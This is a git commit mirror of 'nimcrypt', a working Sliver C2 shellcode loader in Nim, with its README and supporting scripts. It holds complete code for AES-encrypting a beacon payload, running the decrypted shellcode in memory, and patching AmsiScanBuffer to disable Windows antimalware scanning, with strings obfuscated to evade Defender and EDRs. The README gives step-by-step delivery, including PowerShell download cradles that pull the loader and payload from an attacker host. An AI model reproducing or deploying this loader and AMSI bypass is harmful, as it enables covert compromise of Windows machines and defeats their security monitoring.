mirror of
https://github.com/Chaelsoo/nimcrypt
synced 2026-08-09 12:02:38 +00:00
Init
This commit is contained in:
+14
@@ -0,0 +1,14 @@
|
||||
# Compiled binaries
|
||||
*.exe
|
||||
*.dll
|
||||
*.bin
|
||||
*.a
|
||||
|
||||
# Output dirs
|
||||
bins/
|
||||
lib/
|
||||
output/
|
||||
|
||||
# Debug artifacts
|
||||
loader_debug.nim
|
||||
debug.txt
|
||||
@@ -0,0 +1,131 @@
|
||||
# nimcrypt
|
||||
|
||||
A Sliver shellcode loader written in Nim. Encrypts your Sliver beacon shellcode with AES-256-CBC before dropping it on disk, then decrypts and executes it in memory on the target — keeping the raw shellcode off disk and out of static analysis reach.
|
||||
|
||||
Tested against Windows Defender with real-time monitoring enabled.
|
||||
|
||||
## How it works
|
||||
|
||||
### Encryption (your machine)
|
||||
|
||||
`encrypt.py` reads the raw shellcode and encrypts it with AES-256-CBC using a randomly generated 32-byte key and 16-byte IV. The encrypted blob is what gets transferred to the target — the shellcode never touches the target's disk in plaintext, so static analysis and on-write Defender scans see only ciphertext.
|
||||
|
||||
### Loader execution (target machine)
|
||||
|
||||
The loader does the following at runtime:
|
||||
|
||||
1. **Reads** the encrypted shellcode file from disk
|
||||
2. **Decrypts** it in memory using the Windows BCrypt API (AES-256-CBC). The key and IV are passed as arguments at runtime — they never exist in the binary itself
|
||||
3. **Allocates** a memory region with `VirtualAlloc` using `PAGE_READWRITE` permissions
|
||||
4. **Copies** the decrypted shellcode into that region
|
||||
5. **Changes** the memory permissions to `PAGE_EXECUTE_READ` via `VirtualProtect` — the region is now executable but no longer writable (RW → RX)
|
||||
6. **Executes** the shellcode by casting the memory address to a function pointer and calling it
|
||||
|
||||
The RW → RX transition is intentional — `PAGE_EXECUTE_READWRITE` (RWX) is a well-known red flag that Defender and EDRs specifically watch for. Allocating as RW first, writing the shellcode, then flipping to RX is the standard approach to avoid that signature.
|
||||
|
||||
The decrypted shellcode only exists in memory for the duration of execution — it is never written back to disk.
|
||||
|
||||
## Requirements
|
||||
|
||||
**On your Linux machine:**
|
||||
- Nim + nimble (`nimble install winim`)
|
||||
- `x86_64-w64-mingw32-gcc` (mingw-w64)
|
||||
- Python 3 + pycryptodome (`pip install pycryptodome`)
|
||||
|
||||
## Full workflow
|
||||
|
||||
### 1. Set up Sliver listener
|
||||
|
||||
```
|
||||
[127.0.0.1] sliver > mtls --lhost 10.10.14.42 --lport 443
|
||||
|
||||
[*] Starting mTLS listener ...
|
||||
[*] Successfully started job #1
|
||||
```
|
||||
|
||||
### 2. Generate beacon shellcode
|
||||
|
||||
```
|
||||
[127.0.0.1] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols mssql
|
||||
|
||||
[*] Generating new windows/amd64 beacon implant binary (1m0s)
|
||||
[!] Symbol obfuscation is disabled
|
||||
[*] Build completed in 2s
|
||||
[*] Implant saved to /path/to/WICKED_SLIDER.bin
|
||||
```
|
||||
|
||||
> `--skip-symbols` speeds up build time. `--format shellcode` is required — do not use `--format exe`.
|
||||
|
||||
### 3. Encrypt the shellcode
|
||||
|
||||
```bash
|
||||
python3 encrypt.py WICKED_SLIDER.bin
|
||||
# [+] encrypted: WICKED_SLIDER_enc.bin (17875072 bytes)
|
||||
# [+] key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
|
||||
# [+] iv: 83b82994e8c512d536f7d42e89d6e761
|
||||
```
|
||||
|
||||
Save the key and IV — you need them at runtime.
|
||||
|
||||
### 4. Compile the loader
|
||||
|
||||
```bash
|
||||
nim c -d:release -o:loader.exe loader.nim
|
||||
```
|
||||
|
||||
The `nim.cfg` handles all cross-compilation flags automatically. The output is a statically linked Windows x64 PE with no external DLL dependencies beyond standard Windows system libraries.
|
||||
|
||||
### 5. Transfer to target
|
||||
|
||||
Transfer `loader.exe` and `WICKED_SLIDER_enc.bin` to the target however you have access — certutil, PowerShell WebClient, SMB, etc.
|
||||
|
||||
```powershell
|
||||
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
|
||||
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/WICKED_SLIDER_enc.bin", "C:\Windows\Temp\beacon.bin")
|
||||
```
|
||||
|
||||
### 6. Execute
|
||||
|
||||
```
|
||||
loader.exe beacon.bin <key> <iv>
|
||||
```
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
|
||||
```
|
||||
|
||||
Raw unencrypted shellcode is also supported (no key/IV needed):
|
||||
|
||||
```
|
||||
loader.exe shellcode.bin
|
||||
```
|
||||
|
||||
## AMSI patch (PowerShell sessions)
|
||||
|
||||
If you are delivering via PowerShell rather than cmd, AMSI will scan your download cradle. Patch it first:
|
||||
|
||||
```bash
|
||||
python3 gen_amsi.py
|
||||
```
|
||||
|
||||
Paste the output into your PowerShell session before downloading or executing anything. A fresh randomized patch is generated on every run — different XOR key and byte arrays each time, so no two generated scripts share the same pattern.
|
||||
|
||||
The patch works by:
|
||||
- Resolving `AmsiScanBuffer` via export table hash matching (FNV-1a, computed at compile time) — the string never appears in the script
|
||||
- Patching via `WriteProcessMemory` on the current process — no `VirtualProtect` call needed
|
||||
- All strings (`amsi.dll`, `AmsiScanBuffer`, the C# P/Invoke definition) are XOR-encoded with the per-run random key
|
||||
|
||||
> AMSI is irrelevant if you are executing `loader.exe` directly from cmd or xp_cmdshell — it only hooks script engines (PowerShell, JScript, .NET). Skip the patch in those cases.
|
||||
|
||||
## Notes
|
||||
|
||||
- The loader is statically linked against the mingw pthread runtime — no `libwinpthread-1.dll` required on the target
|
||||
- Requires Windows 10 / Server 2016+ (Universal CRT). Server 2012 R2 works with KB3118401 installed
|
||||
- `BCryptSetProperty` for chaining mode returns `STATUS_INVALID_PARAMETER` but BCrypt defaults to CBC anyway — decryption works correctly
|
||||
|
||||
## References
|
||||
|
||||
- [gatariee/ldrgen](https://github.com/gatariee/ldrgen)
|
||||
- [D3Ext/Hooka](https://github.com/D3Ext/Hooka)
|
||||
@@ -0,0 +1,86 @@
|
||||
import winim/lean
|
||||
import std/strutils
|
||||
|
||||
# Random XOR key generated at compile time via shell - different every build
|
||||
const xorKey = static:
|
||||
let (o, rc) = gorgeEx("python3 -c 'import secrets; print(secrets.randbelow(254)+1)'")
|
||||
if rc == 0: uint8(o.strip().parseInt)
|
||||
else:
|
||||
# fallback: derive from compile timestamp so it still varies per build
|
||||
let t = CompileTime
|
||||
(uint8(ord(t[0])) xor uint8(ord(t[3])) xor uint8(ord(t[6]))) or 1'u8
|
||||
|
||||
proc encodeBytes(s: static string): seq[uint8] {.compileTime.} =
|
||||
result = newSeq[uint8](s.len)
|
||||
for i, c in s:
|
||||
result[i] = uint8(ord(c)) xor xorKey
|
||||
|
||||
# "amsi.dll" stored XOR'd - never plaintext in the binary
|
||||
const encDll = encodeBytes("amsi.dll")
|
||||
|
||||
# Patch bytes: xor eax, eax (0x31 0xC0) ; ret (0xC3)
|
||||
# Stored XOR'd - different raw bytes every build
|
||||
const encPatch = [
|
||||
uint8(0x31) xor xorKey,
|
||||
uint8(0xC0) xor xorKey,
|
||||
uint8(0xC3) xor xorKey,
|
||||
]
|
||||
|
||||
proc decodeStr(enc: openArray[uint8]): string =
|
||||
result = newString(enc.len)
|
||||
for i, b in enc:
|
||||
result[i] = char(b xor xorKey)
|
||||
|
||||
# FNV-1a constants
|
||||
const
|
||||
fnvBasis = 0xcbf29ce484222325'u64
|
||||
fnvPrime = 0x100000000001b3'u64
|
||||
|
||||
# Hash of "AmsiScanBuffer" computed at compile time - string never in binary
|
||||
const scanHash = static:
|
||||
var h = fnvBasis
|
||||
for c in "AmsiScanBuffer":
|
||||
h = (h xor uint64(ord(c))) * fnvPrime
|
||||
h
|
||||
|
||||
proc hashExport(p: ptr UncheckedArray[uint8]): uint64 =
|
||||
result = fnvBasis
|
||||
var i = 0
|
||||
while p[i] != 0:
|
||||
result = (result xor uint64(p[i])) * fnvPrime
|
||||
inc i
|
||||
|
||||
proc findByHash(base: uint, target: uint64): pointer =
|
||||
let dos = cast[ptr IMAGE_DOS_HEADER](base)
|
||||
let nt = cast[ptr IMAGE_NT_HEADERS64](base + uint(dos.e_lfanew))
|
||||
let expRva = uint(nt.OptionalHeader.DataDirectory[0].VirtualAddress)
|
||||
if expRva == 0: return nil
|
||||
|
||||
let exp = cast[ptr IMAGE_EXPORT_DIRECTORY](base + expRva)
|
||||
let names = cast[ptr UncheckedArray[DWORD]](base + uint(exp.AddressOfNames))
|
||||
let ords = cast[ptr UncheckedArray[WORD]](base + uint(exp.AddressOfNameOrdinals))
|
||||
let fns = cast[ptr UncheckedArray[DWORD]](base + uint(exp.AddressOfFunctions))
|
||||
|
||||
for i in 0 ..< int(exp.NumberOfNames):
|
||||
let namePtr = cast[ptr UncheckedArray[uint8]](base + uint(names[i]))
|
||||
if hashExport(namePtr) == target:
|
||||
return cast[pointer](base + uint(fns[ords[i]]))
|
||||
return nil
|
||||
|
||||
proc patchAmsi*() =
|
||||
let dllName = decodeStr(encDll)
|
||||
let hAmsi = cast[uint](LoadLibraryA(dllName))
|
||||
if hAmsi == 0: return
|
||||
|
||||
let fn = findByHash(hAmsi, scanHash)
|
||||
if fn == nil: return
|
||||
|
||||
var old: DWORD = 0
|
||||
discard VirtualProtect(fn, 3, PAGE_EXECUTE_READWRITE, addr old)
|
||||
|
||||
let p = cast[ptr UncheckedArray[uint8]](fn)
|
||||
p[0] = encPatch[0] xor xorKey
|
||||
p[1] = encPatch[1] xor xorKey
|
||||
p[2] = encPatch[2] xor xorKey
|
||||
|
||||
discard VirtualProtect(fn, 3, old, addr old)
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import sys
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import pad
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print(f"usage: {sys.argv[0]} <shellcode.bin>")
|
||||
sys.exit(1)
|
||||
|
||||
with open(sys.argv[1], "rb") as f:
|
||||
shellcode = f.read()
|
||||
|
||||
key = os.urandom(32)
|
||||
iv = os.urandom(16)
|
||||
ct = AES.new(key, AES.MODE_CBC, iv).encrypt(pad(shellcode, 16))
|
||||
|
||||
out = sys.argv[1].rsplit(".", 1)[0] + "_enc.bin"
|
||||
with open(out, "wb") as f:
|
||||
f.write(ct)
|
||||
|
||||
print(f"[+] encrypted: {out} ({len(ct)} bytes)")
|
||||
print(f"[+] key: {key.hex()}")
|
||||
print(f"[+] iv: {iv.hex()}")
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
#!/usr/bin/env python3
|
||||
import secrets
|
||||
|
||||
k = secrets.randbelow(200) + 10
|
||||
|
||||
def enc(s):
|
||||
return ','.join(str(ord(c) ^ k) for c in s)
|
||||
|
||||
def enc_bytes(b):
|
||||
return ','.join(str(x ^ k) for x in b)
|
||||
|
||||
# entire C# definition XOR'd - no plaintext P/Invoke signatures in the script
|
||||
cs = ('using System;using System.Runtime.InteropServices;'
|
||||
'public class A{'
|
||||
'[DllImport("kernel32")]public static extern IntPtr GetProcAddress(IntPtr h,string n);'
|
||||
'[DllImport("kernel32")]public static extern IntPtr LoadLibrary(string n);'
|
||||
'[DllImport("kernel32")]public static extern bool WriteProcessMemory(IntPtr h,IntPtr a,byte[] b,int n,out int w);}')
|
||||
|
||||
# mov eax, 0x80070057 ; ret → AmsiScanBuffer returns E_INVALIDARG, caller skips scan
|
||||
patch = [0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3]
|
||||
|
||||
print(f"$k=0x{k:02X}")
|
||||
print(f"Add-Type -TypeDefinition (-join(@({enc(cs)})|%{{[char]($_-bxor$k)}}))")
|
||||
print(f"$h=[A]::LoadLibrary((-join(@({enc('amsi.dll')})|%{{[char]($_-bxor$k)}})))")
|
||||
print(f"$a=[A]::GetProcAddress($h,(-join(@({enc('AmsiScanBuffer')})|%{{[char]($_-bxor$k)}})))")
|
||||
print(f"$p=[byte[]](@({enc_bytes(patch)})|%{{$_-bxor$k}})")
|
||||
print(f"$w=0;[A]::WriteProcessMemory(-1,$a,$p,6,[ref]$w)")
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
import winim
|
||||
import std/os
|
||||
import std/strutils
|
||||
import amsi
|
||||
|
||||
proc aesDecrypt(data: var seq[byte], key: openArray[byte], iv: openArray[byte]) =
|
||||
var
|
||||
hAlg: BCRYPT_ALG_HANDLE = nil
|
||||
hKey: BCRYPT_KEY_HANDLE = nil
|
||||
cbResult: ULONG = 0
|
||||
ivCopy = newSeq[byte](iv.len)
|
||||
|
||||
copyMem(addr ivCopy[0], unsafeAddr iv[0], iv.len)
|
||||
|
||||
var r: NTSTATUS
|
||||
|
||||
r = BCryptOpenAlgorithmProvider(addr hAlg, BCRYPT_AES_ALGORITHM, nil, 0)
|
||||
echo "[*] BCryptOpenAlgorithmProvider: 0x", r.toHex()
|
||||
|
||||
var cbcMode = BCRYPT_CHAIN_MODE_CBC
|
||||
r = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
|
||||
cast[PUCHAR](addr cbcMode),
|
||||
ULONG(sizeof(cbcMode)), 0)
|
||||
echo "[*] BCryptSetProperty: 0x", r.toHex()
|
||||
|
||||
r = BCryptGenerateSymmetricKey(hAlg, addr hKey, nil, 0,
|
||||
cast[PUCHAR](unsafeAddr key[0]), ULONG(key.len), 0)
|
||||
echo "[*] BCryptGenerateSymmetricKey: 0x", r.toHex()
|
||||
|
||||
r = BCryptDecrypt(hKey,
|
||||
cast[PUCHAR](addr data[0]), ULONG(data.len),
|
||||
nil,
|
||||
cast[PUCHAR](addr ivCopy[0]), ULONG(iv.len),
|
||||
cast[PUCHAR](addr data[0]), ULONG(data.len),
|
||||
addr cbResult, 0)
|
||||
echo "[*] BCryptDecrypt: 0x", r.toHex(), " cbResult: ", cbResult
|
||||
|
||||
BCryptDestroyKey(hKey)
|
||||
BCryptCloseAlgorithmProvider(hAlg, 0)
|
||||
|
||||
data.setLen(cbResult.int)
|
||||
|
||||
proc parseHexBytes(s: string): seq[byte] =
|
||||
let clean = s.replace(" ", "").replace(",", "").replace("0x", "")
|
||||
result = newSeq[byte](clean.len div 2)
|
||||
for i in 0 ..< result.len:
|
||||
result[i] = byte(parseHexInt(clean[i*2 .. i*2+1]))
|
||||
|
||||
proc main() =
|
||||
patchAmsi()
|
||||
|
||||
if paramCount() < 1:
|
||||
echo "Usage: ", getAppFilename(), " <shellcode.bin> [key_hex iv_hex]"
|
||||
quit(1)
|
||||
|
||||
let filename = paramStr(1)
|
||||
let encrypted = paramCount() >= 3
|
||||
echo "[*] file: ", filename, " | encrypted: ", encrypted
|
||||
|
||||
var f: File
|
||||
if not open(f, filename, fmRead):
|
||||
echo "[-] failed to open: ", filename
|
||||
quit(1)
|
||||
|
||||
let size = f.getFileSize().int
|
||||
var shellcode = newSeq[byte](size)
|
||||
discard f.readBuffer(addr shellcode[0], size)
|
||||
f.close()
|
||||
echo "[*] read ", size, " bytes"
|
||||
|
||||
if encrypted:
|
||||
let key = parseHexBytes(paramStr(2))
|
||||
let iv = parseHexBytes(paramStr(3))
|
||||
echo "[*] key len: ", key.len, " iv len: ", iv.len
|
||||
if key.len != 32 or iv.len != 16:
|
||||
echo "[-] bad key/iv length"
|
||||
quit(1)
|
||||
aesDecrypt(shellcode, key, iv)
|
||||
echo "[*] decrypted size: ", shellcode.len
|
||||
|
||||
echo "[*] allocating ", shellcode.len, " bytes"
|
||||
let buf = VirtualAlloc(nil,
|
||||
SIZE_T(shellcode.len),
|
||||
MEM_COMMIT or MEM_RESERVE,
|
||||
PAGE_READWRITE)
|
||||
if buf == nil:
|
||||
echo "[-] VirtualAlloc failed"
|
||||
quit(1)
|
||||
echo "[*] allocated at 0x", cast[uint](buf).toHex()
|
||||
|
||||
copyMem(buf, addr shellcode[0], shellcode.len)
|
||||
echo "[*] shellcode copied"
|
||||
|
||||
var oldProtect: DWORD = 0
|
||||
let vpRet = VirtualProtect(buf, SIZE_T(shellcode.len), PAGE_EXECUTE_READ, addr oldProtect)
|
||||
echo "[*] VirtualProtect: ", vpRet
|
||||
|
||||
echo "[*] executing..."
|
||||
let fn = cast[proc() {.cdecl.}](buf)
|
||||
fn()
|
||||
echo "[*] returned from shellcode"
|
||||
|
||||
main()
|
||||
@@ -0,0 +1,8 @@
|
||||
cpu = "amd64"
|
||||
os = "windows"
|
||||
cc = "gcc"
|
||||
gcc.exe = "x86_64-w64-mingw32-gcc"
|
||||
gcc.linkerexe = "x86_64-w64-mingw32-gcc"
|
||||
define = "mingw"
|
||||
passL = "-lbcrypt -s -w -L./lib -static-libgcc -static-libstdc++ -Wl,-Bstatic,--whole-archive -lpthread -Wl,--no-whole-archive,-Bdynamic"
|
||||
opt = "size"
|
||||
Reference in New Issue
Block a user